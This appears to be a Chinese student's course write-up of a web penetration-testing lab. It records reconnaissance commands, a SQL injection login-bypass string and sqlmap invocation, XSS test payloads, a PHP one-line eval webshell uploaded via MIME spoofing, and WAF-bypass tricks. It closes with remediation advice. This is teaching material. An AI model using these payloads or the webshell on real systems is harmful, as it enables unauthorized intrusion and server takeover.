Web渗透测试“一课一得”——从信息收集到漏洞利用的实战总结
一、引言
本学期我学习了《Web安全与渗透测试》这门课程,系统接触了信息收集、漏洞扫描、SQL注入、跨站脚本攻击(XSS)、文件上传漏洞等核心知识点。从最初只会用工具“盲扫”,到如今能够手动构造Payload进行漏洞验证,这个过程让我对Web安全有了深刻的理解。在此,我以一次完整的靶场渗透测试为例,分享我的学习心得。
二、渗透测试整体流程
一次完整的Web渗透测试通常包含以下五个阶段:
| 阶段 | 主要工作 |
|---|---|
| 信息收集 | 子域名挖掘、端口扫描、指纹识别 |
| 漏洞探测 | 使用工具 + 手动检测常见漏洞 |
| 漏洞利用 | 构造Payload,获取敏感数据或权限 |
| 权限维持 | 植入后门(合法授权前提下) |
| 报告编写 | 整理漏洞详情与修复建议 |
三、实战过程记录
3.1 信息收集
我使用Nmap对目标靶机进行端口扫描:
bash
nmap -sV -p- 192.168.1.100
扫描结果发现开放了80端口(HTTP)和22端口(SSH),说明目标存在Web服务,可以进一步探测Web应用漏洞。
接着使用WhatWeb进行指纹识别:
bash
whatweb http://192.168.1.100
识别出目标使用了Apache 2.4.41和PHP 7.3.33,这为后续漏洞挖掘提供了重要线索。
3.2 SQL注入漏洞挖掘
在目标网站的登录页面,我尝试在用户名输入框中注入以下Payload:
sql
' OR '1'='1' --
系统返回了登录成功的响应——这表明存在基于布尔盲注的SQL注入漏洞。
进一步使用sqlmap自动化检测:
bash
sqlmap -u "http://192.168.1.100/login.php" --data="user=admin&pass=123" --dbs
成功获取到数据库名称和表结构信息。这个漏洞的根本原因是未对用户输入进行参数化过滤,直接将输入拼接到SQL语句中执行。
3.3 跨站脚本攻击(XSS)验证
在网站的搜索框中,我输入了以下测试代码:
html
<script>alert('XSS')</script>页面弹出了提示框,说明存在反射型XSS漏洞。更严重的是,在文章评论功能中,该Payload被存储到数据库并在每次加载页面时执行,属于存储型XSS,危害更大。
3.4 文件上传漏洞
在用户头像上传功能中,我尝试上传一个PHP一句话木马文件:
php
<?php @eval($_POST['cmd']); ?>
配合Burp Suite抓包,修改文件MIME类型为image/jpeg并添加图片文件头,成功绕过了前端和后端的文件类型校验,将木马上传到服务器。
随后使用AntSword(蚁剑)连接,成功获取了目标服务器的部分文件管理权限。
四、遇到的坑与解决方法
防火墙拦截:在SQL注入过程中,目标开启了简单WAF规则。我通过大小写绕过和URL编码绕过的方式成功绕过检测。
Burp Suite证书问题:HTTPS网站抓包时需要安装Burp根证书,否则无法正常代理。
Payload构造失败:一开始对闭合符号判断错误,通过反复尝试不同闭合方式(单引号、双引号、括号闭合)最终成功。
五、安全修复建议
通过本次实战测试,我总结出以下几点防御建议:
SQL注入:使用预编译语句(如 PDO、MyBatis 参数绑定),避免直接拼接SQL
XSS攻击:对用户输入进行严格的转义和过滤,使用CSP策略
文件上传:限制文件类型、使用随机重命名、禁止上传目录执行权限
通用原则:永远不要相信用户输入,所有输入都需要经过校验和过滤
六、学习总结
通过这门课程的学习和本次实战演练,我深刻认识到“未知攻,焉知防”的道理。只有站在攻击者的角度思考问题,才能更好地构建防御体系。Web安全是一个需要持续学习的领域,新的漏洞和防御技术层出不穷,未来我将继续深入研究。
同时,我也要强调:渗透测试技术必须在合法授权的前提下使用,任何未经授权的攻击行为都是违法的。
